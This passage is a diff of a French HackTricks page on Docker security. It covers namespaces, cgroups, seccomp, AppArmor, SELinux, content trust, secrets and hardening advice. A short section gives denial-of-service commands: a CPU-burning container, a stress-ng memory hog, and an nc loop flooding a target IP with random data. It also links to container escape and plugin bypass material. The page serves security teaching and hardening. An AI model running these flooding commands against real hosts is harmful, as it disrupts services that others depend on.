* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez** moi sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe Telegram**](https://t.me/peass) ou **suivez-nous** sur **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Partagez vos astuces de piratage en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -38,6 +38,7 @@ DOCKER_OPTS="-D -H unix:///var/run/docker.sock -H tcp://192.168.56.101:2376"
|
|||
sudo service docker restart
|
||||
```
|
||||
Cependant, exposer le démon Docker via HTTP n'est pas recommandé en raison de problèmes de sécurité. Il est conseillé de sécuriser les connexions en utilisant HTTPS. Il existe deux approches principales pour sécuriser la connexion :
|
||||
|
||||
1. Le client vérifie l'identité du serveur.
|
||||
2. Le client et le serveur s'authentifient mutuellement.
|
||||
|
||||
|
@ -47,13 +48,13 @@ Des certificats sont utilisés pour confirmer l'identité d'un serveur. Pour des
|
|||
|
||||
Les images de conteneurs peuvent être stockées dans des référentiels privés ou publics. Docker propose plusieurs options de stockage pour les images de conteneurs :
|
||||
|
||||
* **[Docker Hub](https://hub.docker.com)** : Un service de registre public de Docker.
|
||||
* **[Docker Registry](https://github.com/docker/distribution)** : Un projet open source permettant aux utilisateurs d'héberger leur propre registre.
|
||||
* **[Docker Trusted Registry](https://www.docker.com/docker-trusted-registry)** : Offre commerciale de Docker, proposant une authentification des utilisateurs basée sur les rôles et une intégration avec les services d'annuaire LDAP.
|
||||
* [**Docker Hub**](https://hub.docker.com) : Un service de registre public de Docker.
|
||||
* [**Docker Registry**](https://github.com/docker/distribution) : Un projet open-source permettant aux utilisateurs d'héberger leur propre registre.
|
||||
* [**Docker Trusted Registry**](https://www.docker.com/docker-trusted-registry) : Offre commerciale de Docker, proposant une authentification des utilisateurs basée sur les rôles et une intégration avec les services d'annuaire LDAP.
|
||||
|
||||
### Analyse d'images
|
||||
|
||||
Les conteneurs peuvent présenter des **vulnérabilités de sécurité** soit en raison de l'image de base, soit en raison des logiciels installés par-dessus l'image de base. Docker travaille sur un projet appelé **Nautilus** qui effectue une analyse de sécurité des conteneurs et répertorie les vulnérabilités. Nautilus fonctionne en comparant chaque couche d'image de conteneur avec un référentiel de vulnérabilités pour identifier les failles de sécurité.
|
||||
Les conteneurs peuvent présenter des **vulnérabilités de sécurité** soit en raison de l'image de base, soit en raison des logiciels installés par-dessus l'image de base. Docker travaille sur un projet appelé **Nautilus** qui effectue une analyse de sécurité des conteneurs et répertorie les vulnérabilités. Nautilus fonctionne en comparant chaque couche d'image de conteneur avec le référentiel de vulnérabilités pour identifier les failles de sécurité.
|
||||
|
||||
Pour plus d'**informations, lisez ceci**](https://docs.docker.com/engine/scan/).
|
||||
|
||||
|
@ -91,11 +92,11 @@ clair-scanner -w example-alpine.yaml --ip YOUR_LOCAL_IP alpine:3.5
|
|||
|
||||
La signature des images Docker garantit la sécurité et l'intégrité des images utilisées dans les conteneurs. Voici une explication condensée :
|
||||
|
||||
- **Docker Content Trust** utilise le projet Notary, basé sur The Update Framework (TUF), pour gérer la signature des images. Pour plus d'informations, consultez [Notary](https://github.com/docker/notary) et [TUF](https://theupdateframework.github.io).
|
||||
- Pour activer la confiance du contenu Docker, définissez `export DOCKER_CONTENT_TRUST=1`. Cette fonctionnalité est désactivée par défaut dans Docker version 1.10 et ultérieure.
|
||||
- Avec cette fonctionnalité activée, seules les images signées peuvent être téléchargées. Le premier envoi d'image nécessite de définir des phrases secrètes pour les clés racine et de balisage, Docker prenant également en charge Yubikey pour une sécurité renforcée. Plus de détails peuvent être trouvés [ici](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
- Tenter de télécharger une image non signée avec la confiance du contenu activée entraîne une erreur "No trust data for latest".
|
||||
- Pour les envois d'images suivants, Docker demande la phrase secrète de la clé du dépôt pour signer l'image.
|
||||
* **Docker Content Trust** utilise le projet Notary, basé sur The Update Framework (TUF), pour gérer la signature des images. Pour plus d'informations, consultez [Notary](https://github.com/docker/notary) et [TUF](https://theupdateframework.github.io).
|
||||
* Pour activer la confiance du contenu Docker, définissez `export DOCKER_CONTENT_TRUST=1`. Cette fonctionnalité est désactivée par défaut dans Docker version 1.10 et ultérieures.
|
||||
* Avec cette fonctionnalité activée, seules les images signées peuvent être téléchargées. Le premier envoi d'image nécessite de définir des phrases secrètes pour les clés racine et de balisage, Docker prenant également en charge Yubikey pour une sécurité renforcée. Plus de détails peuvent être trouvés [ici](https://blog.docker.com/2015/11/docker-content-trust-yubikey/).
|
||||
* Tenter de télécharger une image non signée avec la confiance du contenu activée entraîne une erreur "No trust data for latest".
|
||||
* Pour les envois d'images suivants, Docker demande la phrase secrète de la clé du dépôt pour signer l'image.
|
||||
|
||||
Pour sauvegarder vos clés privées, utilisez la commande :
|
||||
```bash
|
||||
|
@ -108,7 +109,7 @@ Lorsque vous passez d'un hôte Docker à un autre, il est nécessaire de déplac
|
|||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire facilement et **automatiser les workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -119,22 +120,25 @@ Accédez dès aujourd'hui :
|
|||
|
||||
<summary>Résumé des fonctionnalités de sécurité des conteneurs</summary>
|
||||
|
||||
### Principales fonctionnalités d'isolation des processus
|
||||
#### Principales fonctionnalités d'isolation des processus
|
||||
|
||||
Dans les environnements conteneurisés, isoler les projets et leurs processus est primordial pour la sécurité et la gestion des ressources. Voici une explication simplifiée des concepts clés :
|
||||
Dans les environnements conteneurisés, isoler les projets et leurs processus est essentiel pour la sécurité et la gestion des ressources. Voici une explication simplifiée des concepts clés :
|
||||
|
||||
#### **Espaces de noms (Namespaces)**
|
||||
- **Objectif** : Assurer l'isolation des ressources telles que les processus, le réseau et les systèmes de fichiers. En particulier dans Docker, les espaces de noms maintiennent les processus d'un conteneur séparés de l'hôte et des autres conteneurs.
|
||||
- **Utilisation de `unshare`** : La commande `unshare` (ou l'appel système sous-jacent) est utilisée pour créer de nouveaux espaces de noms, offrant une couche supplémentaire d'isolation. Cependant, bien que Kubernetes ne bloque pas cela de manière inhérente, Docker le fait.
|
||||
- **Limitation** : Créer de nouveaux espaces de noms n'autorise pas un processus à revenir aux espaces de noms par défaut de l'hôte. Pour pénétrer les espaces de noms de l'hôte, on aurait généralement besoin d'accéder au répertoire `/proc` de l'hôte, en utilisant `nsenter` pour entrer.
|
||||
**Espaces de noms (Namespaces)**
|
||||
|
||||
#### **Groupes de contrôle (CGroups)**
|
||||
- **Fonction** : Principalement utilisés pour allouer des ressources entre les processus.
|
||||
- **Aspect de sécurité** : Les CGroups eux-mêmes n'offrent pas de sécurité d'isolation, sauf pour la fonction `release_agent`, qui, si mal configurée, pourrait potentiellement être exploitée pour un accès non autorisé.
|
||||
* **Objectif** : Assurer l'isolation des ressources telles que les processus, le réseau et les systèmes de fichiers. En particulier dans Docker, les espaces de noms maintiennent les processus d'un conteneur séparés de l'hôte et des autres conteneurs.
|
||||
* **Utilisation de `unshare`** : La commande `unshare` (ou l'appel système sous-jacent) est utilisée pour créer de nouveaux espaces de noms, offrant une couche supplémentaire d'isolation. Cependant, bien que Kubernetes ne bloque pas cela de manière inhérente, Docker le fait.
|
||||
* **Limitation** : Créer de nouveaux espaces de noms n'autorise pas un processus à revenir aux espaces de noms par défaut de l'hôte. Pour pénétrer les espaces de noms de l'hôte, on aurait généralement besoin d'accéder au répertoire `/proc` de l'hôte, en utilisant `nsenter` pour entrer.
|
||||
|
||||
#### **Abandon de capacité (Capability Drop)**
|
||||
- **Importance** : Il s'agit d'une fonctionnalité de sécurité cruciale pour l'isolation des processus.
|
||||
- **Fonctionnalité** : Il restreint les actions qu'un processus root peut effectuer en abandonnant certaines capacités. Même si un processus s'exécute avec des privilèges root, le manque des capacités nécessaires l'empêche d'exécuter des actions privilégiées, car les appels système échoueront en raison de permissions insuffisantes.
|
||||
**Groupes de contrôle (CGroups)**
|
||||
|
||||
* **Fonction** : Principalement utilisé pour allouer des ressources entre les processus.
|
||||
* **Aspect de sécurité** : Les CGroups eux-mêmes ne garantissent pas la sécurité de l'isolation, sauf pour la fonction `release_agent`, qui, si mal configurée, pourrait potentiellement être exploitée pour un accès non autorisé.
|
||||
|
||||
**Abandon de capacité (Capability Drop)**
|
||||
|
||||
* **Importance** : Il s'agit d'une fonctionnalité de sécurité cruciale pour l'isolation des processus.
|
||||
* **Fonctionnalité** : Il restreint les actions qu'un processus root peut effectuer en abandonnant certaines capacités. Même si un processus s'exécute avec des privilèges root, le manque des capacités nécessaires l'empêche d'exécuter des actions privilégiées, car les appels système échoueront en raison de permissions insuffisantes.
|
||||
|
||||
Voici les **capacités restantes** après que le processus a abandonné les autres :
|
||||
|
||||
|
@ -146,20 +150,20 @@ Current: cap_chown,cap_dac_override,cap_fowner,cap_fsetid,cap_kill,cap_setgid,ca
|
|||
|
||||
**Seccomp**
|
||||
|
||||
Il est activé par défaut dans Docker. Il aide à **limiter encore plus les appels système** que le processus peut appeler.\
|
||||
Le **profil Seccomp Docker par défaut** peut être trouvé dans [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
Il est activé par défaut dans Docker. Cela aide à **limiter encore plus les appels système** que le processus peut appeler.\
|
||||
Le **profil Seccomp par défaut de Docker** peut être trouvé dans [https://github.com/moby/moby/blob/master/profiles/seccomp/default.json](https://github.com/moby/moby/blob/master/profiles/seccomp/default.json)
|
||||
|
||||
**AppArmor**
|
||||
|
||||
Docker a un modèle que vous pouvez activer : [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
Docker dispose d'un modèle que vous pouvez activer : [https://github.com/moby/moby/tree/master/profiles/apparmor](https://github.com/moby/moby/tree/master/profiles/apparmor)
|
||||
|
||||
Cela permettra de réduire les capacités, les appels système, l'accès aux fichiers et dossiers...
|
||||
Cela permet de réduire les capacités, les appels système, l'accès aux fichiers et dossiers...
|
||||
|
||||
</details>
|
||||
|
||||
### Espaces de noms
|
||||
|
||||
Les **espaces de noms** sont une fonctionnalité du noyau Linux qui **partitionne les ressources du noyau** de telle sorte qu'un ensemble de **processus** voit un ensemble de **ressources** tandis qu'un **autre** ensemble de **processus** voit un **ensemble différent** de ressources. La fonctionnalité fonctionne en ayant le même espace de noms pour un ensemble de ressources et de processus, mais ces espaces de noms se réfèrent à des ressources distinctes. Les ressources peuvent exister dans plusieurs espaces.
|
||||
Les **espaces de noms** sont une fonctionnalité du noyau Linux qui **partitionne les ressources du noyau** de telle sorte qu'un ensemble de **processus** voit un ensemble de **ressources** tandis qu'un **autre** ensemble de **processus** voit un **ensemble différent** de ressources. La fonctionnalité fonctionne en ayant le même espace de noms pour un ensemble de ressources et de processus, mais ces espaces de noms font référence à des ressources distinctes. Les ressources peuvent exister dans plusieurs espaces.
|
||||
|
||||
Docker utilise les espaces de noms du noyau Linux suivants pour atteindre l'isolation des conteneurs :
|
||||
|
||||
|
@ -177,8 +181,8 @@ Pour **plus d'informations sur les espaces de noms**, consultez la page suivante
|
|||
|
||||
### cgroups
|
||||
|
||||
La fonctionnalité du noyau Linux **cgroups** fournit la capacité de **restreindre les ressources telles que le CPU, la mémoire, l'E/S, la bande passante réseau parmi** un ensemble de processus. Docker permet de créer des conteneurs en utilisant la fonctionnalité cgroup qui permet le contrôle des ressources pour le conteneur spécifique.\
|
||||
Voici un conteneur créé avec une mémoire d'espace utilisateur limitée à 500m, une mémoire noyau limitée à 50m, une part de CPU à 512, un poids de blkioweight à 400. La part de CPU est un ratio qui contrôle l'utilisation du CPU du conteneur. Il a une valeur par défaut de 1024 et une plage entre 0 et 1024. Si trois conteneurs ont la même part de CPU de 1024, chaque conteneur peut utiliser jusqu'à 33% du CPU en cas de conflit de ressources CPU. blkio-weight est un ratio qui contrôle l'E/S du conteneur. Il a une valeur par défaut de 500 et une plage entre 10 et 1000.
|
||||
La fonctionnalité du noyau Linux **cgroups** permet de **restreindre les ressources telles que le CPU, la mémoire, l'E/S, la bande passante réseau parmi** un ensemble de processus. Docker permet de créer des conteneurs en utilisant la fonctionnalité cgroup qui permet le contrôle des ressources pour le conteneur spécifique.\
|
||||
Voici un conteneur créé avec une mémoire d'espace utilisateur limitée à 500m, une mémoire noyau limitée à 50m, une part de CPU à 512, un poids de blkioweight à 400. La part de CPU est un ratio qui contrôle l'utilisation du CPU du conteneur. Il a une valeur par défaut de 1024 et une plage entre 0 et 1024. Si trois conteneurs ont la même part de CPU de 1024, chaque conteneur peut utiliser jusqu'à 33% du CPU en cas de contention des ressources CPU. blkio-weight est un ratio qui contrôle l'E/S du conteneur. Il a une valeur par défaut de 500 et une plage entre 10 et 1000.
|
||||
```
|
||||
docker run -it -m 500M --kernel-memory 50M --cpu-shares 512 --blkio-weight 400 --name ubuntu1 ubuntu bash
|
||||
```
|
||||
|
@ -188,7 +192,7 @@ docker run -dt --rm denial sleep 1234 #Run a large sleep inside a Debian contain
|
|||
ps -ef | grep 1234 #Get info about the sleep process
|
||||
ls -l /proc/<PID>/ns #Get the Group and the namespaces (some may be uniq to the hosts and some may be shred with it)
|
||||
```
|
||||
Pour plus d'informations, consultez:
|
||||
Pour plus d'informations, consultez :
|
||||
|
||||
{% content-ref url="cgroups.md" %}
|
||||
[cgroups.md](cgroups.md)
|
||||
|
@ -214,7 +218,7 @@ Il s'agit d'une fonctionnalité de sécurité qui permet à Docker de **limiter
|
|||
|
||||
### AppArmor dans Docker
|
||||
|
||||
**AppArmor** est une amélioration du noyau pour confiner les **conteneurs** à un **ensemble limité de ressources** avec des **profils par programme** :
|
||||
**AppArmor** est une amélioration du noyau pour confiner les **conteneurs** à un **ensemble limité de **ressources** avec des **profils par programme** :
|
||||
|
||||
{% content-ref url="apparmor.md" %}
|
||||
[apparmor.md](apparmor.md)
|
||||
|
@ -222,13 +226,13 @@ Il s'agit d'une fonctionnalité de sécurité qui permet à Docker de **limiter
|
|||
|
||||
### SELinux dans Docker
|
||||
|
||||
- **Système d'étiquetage** : SELinux attribue une étiquette unique à chaque processus et objet de système de fichiers.
|
||||
- **Application des politiques** : Il applique des politiques de sécurité définissant les actions qu'une étiquette de processus peut effectuer sur d'autres étiquettes dans le système.
|
||||
- **Étiquettes de processus de conteneur** : Lorsque les moteurs de conteneurs lancent des processus de conteneurs, ils se voient généralement attribuer une étiquette SELinux confinée, couramment `container_t`.
|
||||
- **Étiquetage des fichiers dans les conteneurs** : Les fichiers à l'intérieur du conteneur sont généralement étiquetés `container_file_t`.
|
||||
- **Règles de politique** : La politique SELinux garantit principalement que les processus avec l'étiquette `container_t` ne peuvent interagir (lire, écrire, exécuter) qu'avec des fichiers étiquetés `container_file_t`.
|
||||
* **Système d'étiquetage** : SELinux attribue une étiquette unique à chaque processus et objet de système de fichiers.
|
||||
* **Application des politiques** : Il applique des politiques de sécurité définissant les actions qu'une étiquette de processus peut effectuer sur d'autres étiquettes dans le système.
|
||||
* **Étiquettes de processus de conteneur** : Lorsque les moteurs de conteneurs initient des processus de conteneurs, ils sont généralement attribués une étiquette SELinux confinée, couramment `container_t`.
|
||||
* **Étiquetage des fichiers dans les conteneurs** : Les fichiers à l'intérieur du conteneur sont généralement étiquetés `container_file_t`.
|
||||
* **Règles de politique** : La politique SELinux garantit principalement que les processus avec l'étiquette `container_t` ne peuvent interagir (lire, écrire, exécuter) qu'avec des fichiers étiquetés `container_file_t`.
|
||||
|
||||
Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur est compromis, il est confiné pour interagir uniquement avec des objets ayant les étiquettes correspondantes, limitant ainsi considérablement les dommages potentiels de telles compromissions.
|
||||
Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur est compromis, il est confiné à interagir uniquement avec des objets ayant les étiquettes correspondantes, limitant ainsi considérablement les dommages potentiels de telles compromissions.
|
||||
|
||||
{% content-ref url="../selinux.md" %}
|
||||
[selinux.md](../selinux.md)
|
||||
|
@ -238,10 +242,10 @@ Ce mécanisme garantit que même si un processus à l'intérieur d'un conteneur
|
|||
|
||||
Dans Docker, un plugin d'autorisation joue un rôle crucial en matière de sécurité en décidant d'autoriser ou de bloquer les demandes au démon Docker. Cette décision est prise en examinant deux contextes clés :
|
||||
|
||||
- **Contexte d'authentification** : Cela inclut des informations complètes sur l'utilisateur, telles que son identité et la manière dont il s'est authentifié.
|
||||
- **Contexte de commande** : Il comprend toutes les données pertinentes liées à la demande effectuée.
|
||||
* **Contexte d'authentification** : Cela inclut des informations complètes sur l'utilisateur, telles que son identité et la manière dont il s'est authentifié.
|
||||
* **Contexte de commande** : Il comprend toutes les données pertinentes liées à la demande effectuée.
|
||||
|
||||
Ces contextes aident à garantir que seules les demandes légitimes d'utilisateurs authentifiés sont traitées, renforçant la sécurité des opérations Docker.
|
||||
Ces contextes garantissent que seules les demandes légitimes d'utilisateurs authentifiés sont traitées, renforçant la sécurité des opérations Docker.
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
|
@ -259,7 +263,7 @@ sudo apt-get install -y stress-ng && stress-ng --vm 1 --vm-bytes 1G --verify -t
|
|||
# While loop
|
||||
docker run -d --name malicious-container -c 512 busybox sh -c 'while true; do :; done'
|
||||
```
|
||||
* Déni de service de bande passante
|
||||
* **Déni de service de bande passante**
|
||||
```bash
|
||||
nc -lvp 4444 >/dev/null & while true; do cat /dev/urandom | nc <target IP> 4444; done
|
||||
```
|
||||
|
@ -277,7 +281,7 @@ Sur la page suivante, vous pouvez apprendre **ce que signifie le drapeau `--priv
|
|||
|
||||
#### no-new-privileges
|
||||
|
||||
Si vous exécutez un conteneur où un attaquant parvient à accéder en tant qu'utilisateur à faible privilège. Si vous avez un **binaire suid mal configuré**, l'attaquant pourrait l'exploiter et **escalader les privilèges à l'intérieur** du conteneur. Ce qui pourrait lui permettre de s'en échapper.
|
||||
Si vous exécutez un conteneur où un attaquant parvient à accéder en tant qu'utilisateur à faibles privilèges. Si vous avez un **binaire suid mal configuré**, l'attaquant pourrait l'exploiter et **escalader les privilèges à l'intérieur** du conteneur. Ce qui pourrait lui permettre de s'en échapper.
|
||||
|
||||
Exécuter le conteneur avec l'option **`no-new-privileges`** activée **empêchera ce type d'escalade de privilèges**.
|
||||
```
|
||||
|
@ -335,7 +339,7 @@ file: ./my_secret_file.txt
|
|||
```
|
||||
Cette configuration permet l'utilisation de secrets lors du démarrage des services avec Docker Compose.
|
||||
|
||||
Dans les environnements Kubernetes, les secrets sont nativement pris en charge et peuvent être gérés plus en détail avec des outils comme [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Les contrôles d'accès basés sur les rôles (RBAC) de Kubernetes améliorent la sécurité de la gestion des secrets, de manière similaire à Docker Enterprise.
|
||||
Dans les environnements Kubernetes, les secrets sont nativement pris en charge et peuvent être gérés plus en détail avec des outils comme [Helm-Secrets](https://github.com/futuresimple/helm-secrets). Les contrôles d'accès basés sur les rôles (RBAC) de Kubernetes renforcent la sécurité de la gestion des secrets, similaire à Docker Enterprise.
|
||||
|
||||
### gVisor
|
||||
|
||||
|
@ -345,82 +349,32 @@ Dans les environnements Kubernetes, les secrets sont nativement pris en charge e
|
|||
|
||||
### Kata Containers
|
||||
|
||||
**Kata Containers** est une communauté open source travaillant à la création d'un exécuteur de conteneurs sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais offrent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme une deuxième couche de défense.
|
||||
**Kata Containers** est une communauté open source travaillant à construire un exécuteur de conteneurs sécurisé avec des machines virtuelles légères qui se comportent et fonctionnent comme des conteneurs, mais offrent une **isolation de charge de travail plus forte en utilisant la technologie de virtualisation matérielle** comme une deuxième couche de défense.
|
||||
|
||||
{% embed url="https://katacontainers.io/" %}
|
||||
|
||||
### Conseils Résumés
|
||||
|
||||
* **Ne pas utiliser le drapeau `--privileged` ou monter un** [**socket Docker à l'intérieur du conteneur**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Le socket Docker permet de lancer des conteneurs, il est donc facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`.
|
||||
* Ne **pas exécuter en tant que root à l'intérieur du conteneur. Utiliser un** [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile\_best-practices/#user) **et des** [**espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/)**.** Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec des espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups.
|
||||
* [**Supprimer toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et n'activer que celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail n'ont pas besoin de capacités et les ajouter augmente la portée d'une attaque potentielle.
|
||||
* **Ne pas utiliser le drapeau `--privileged` ou monter un** [**socket Docker à l'intérieur du conteneur**](https://raesene.github.io/blog/2016/03/06/The-Dangers-Of-Docker.sock/)**.** Le socket Docker permet de lancer des conteneurs, c'est donc un moyen facile de prendre le contrôle total de l'hôte, par exemple, en exécutant un autre conteneur avec le drapeau `--privileged`.
|
||||
* Ne **pas exécuter en tant que root à l'intérieur du conteneur. Utiliser un** [**utilisateur différent**](https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#user) **et les** [**espaces de noms utilisateur**](https://docs.docker.com/engine/security/userns-remap/)**.** Le root dans le conteneur est le même que sur l'hôte sauf s'il est remappé avec les espaces de noms utilisateur. Il est seulement légèrement restreint par, principalement, les espaces de noms Linux, les capacités et les cgroups.
|
||||
* [**Supprimer toutes les capacités**](https://docs.docker.com/engine/reference/run/#runtime-privilege-and-linux-capabilities) **(`--cap-drop=all`) et n'activer que celles qui sont nécessaires** (`--cap-add=...`). Beaucoup de charges de travail ne nécessitent aucune capacité et les ajouter augmente la portée d'une attaque potentielle.
|
||||
* [**Utiliser l'option de sécurité “no-new-privileges”**](https://raesene.github.io/blog/2019/06/01/docker-capabilities-and-no-new-privs/) pour empêcher les processus de gagner plus de privilèges, par exemple via des binaires suid.
|
||||
* [**Limitez les ressources disponibles pour le conteneur**](https://docs.docker.com/engine/reference/run/#runtime-constraints-on-resources)**.** Les limites de ressources peuvent protéger la machine contre les attaques de déni de service.
|
||||
* **Ajuster les profils** [**seccomp**](https://docs.docker.com/engine/security/seccomp/)**,** [**AppArmor**](https://docs.docker.com/engine/security/apparmor/) **(ou SELinux)** pour restreindre les actions et les appels système disponibles pour le conteneur au minimum requis.
|
||||
* **Utiliser des** [**images Docker officielles**](https://docs.docker.com/docker-hub/official\_images/) **et exiger des signatures** ou construire les vôtres basées sur elles. Ne pas hériter ou utiliser des images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Stocker également les clés racines, les phrases secrètes dans un endroit sûr. Docker a des plans pour gérer les clés avec UCP.
|
||||
* **Utiliser des** [**images Docker officielles**](https://docs.docker.com/docker-hub/official_images/) **et exiger des signatures** ou construire les vôtres basées sur elles. Ne pas hériter ou utiliser des images [compromises](https://arstechnica.com/information-technology/2018/06/backdoored-images-downloaded-5-million-times-finally-removed-from-docker-hub/). Stocker également les clés racines, les phrases secrètes dans un endroit sûr. Docker a des plans pour gérer les clés avec UCP.
|
||||
* **Reconstruire régulièrement** vos images pour **appliquer les correctifs de sécurité à l'hôte et aux images**.
|
||||
* Gérez vos **secrets de manière judicieuse** pour qu'il soit difficile pour l'attaquant d'y accéder.
|
||||
* Si vous **exposez le démon Docker, utilisez HTTPS** avec une authentification client et serveur.
|
||||
* Dans votre Dockerfile, **privilégiez COPY à la place de ADD**. ADD extrait automatiquement les fichiers compressés et peut copier des fichiers à partir d'URL. COPY n'a pas ces capacités. Dans la mesure du possible, évitez d'utiliser ADD pour ne pas être vulnérable aux attaques via des URL distantes et des fichiers Zip.
|
||||
* Avoir des **conteneurs séparés pour chaque micro-service**.
|
||||
* **Ne pas mettre ssh** à l'intérieur du conteneur, “docker exec” peut être utilisé pour ssh vers le conteneur.
|
||||
* Avoir des **images de conteneurs plus petites**.
|
||||
|
||||
## Évasion / Élévation de privilèges Docker
|
||||
|
||||
Si vous êtes **à l'intérieur d'un conteneur Docker** ou avez accès à un utilisateur dans le **groupe docker**, vous pourriez essayer de **vous échapper et d'élever les privilèges**:
|
||||
|
||||
{% content-ref url="docker-breakout-privilege-escalation/" %}
|
||||
[docker-breakout-privilege-escalation](docker-breakout-privilege-escalation/)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Contournement du Plugin d'Authentification Docker
|
||||
|
||||
Si vous avez accès au socket Docker ou avez accès à un utilisateur dans le **groupe docker mais que vos actions sont limitées par un plugin d'authentification Docker**, vérifiez si vous pouvez **le contourner**:
|
||||
|
||||
{% content-ref url="authz-and-authn-docker-access-authorization-plugin.md" %}
|
||||
[authz-and-authn-docker-access-authorization-plugin.md](authz-and-authn-docker-access-authorization-plugin.md)
|
||||
{% endcontent-ref %}
|
||||
|
||||
## Durcissement de Docker
|
||||
|
||||
* L'outil [**docker-bench-security**](https://github.com/docker/docker-bench-security) est un script qui vérifie des dizaines de bonnes pratiques courantes concernant le déploiement de conteneurs Docker en production. Les tests sont tous automatisés et sont basés sur le [CIS Docker Benchmark v1.3.1](https://www.cisecurity.org/benchmark/docker/).\
|
||||
Vous devez exécuter l'outil à partir de l'hôte exécutant Docker ou d'un conteneur avec suffisamment de privilèges. Découvrez **comment l'exécuter dans le README:** [**https://github.com/docker/docker-bench-security**](https://github.com/docker/docker-bench-security).
|
||||
|
||||
## Références
|
||||
|
||||
* [https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)
|
||||
* [https://twitter.com/\_fel1x/status/1151487051986087936](https://twitter.com/\_fel1x/status/1151487051986087936)
|
||||
* [https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html](https://ajxchapman.github.io/containers/2020/11/19/privileged-container-escape.html)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-1overview/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-2docker-engine/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-3engine-access/)
|
||||
* [https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/](https://sreeninet.wordpress.com/2016/03/06/docker-security-part-4container-image/)
|
||||
* [https://en.wikipedia.org/wiki/Linux\_namespaces](https://en.wikipedia.org/wiki/Linux\_namespaces)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://www.redhat.com/sysadmin/privileged-flag-container-engines](https://www.redhat.com/sysadmin/privileged-flag-container-engines)
|
||||
* [https://docs.docker.com/engine/extend/plugins_authorization](https://docs.docker.com/engine/extend/plugins_authorization)
|
||||
* [https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57](https://towardsdatascience.com/top-20-docker-security-tips-81c41dd06f57)
|
||||
* [https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/](https://resources.experfy.com/bigdata-cloud/top-20-docker-security-tips/)
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Utilisez [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) pour construire et **automatiser facilement des workflows** alimentés par les outils communautaires les plus avancés au monde.\
|
||||
Accédez dès aujourd'hui :
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Apprenez le piratage AWS de zéro à héros avec</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
* **Ne pas mettre ssh** à l'intérieur du conteneur, "docker exec" peut être utilisé pour ssh vers le conteneur.
|
||||
* Avoir des **images de conteneurs plus petites**
|
||||
Autres façons de soutenir HackTricks :
|
||||
|
||||
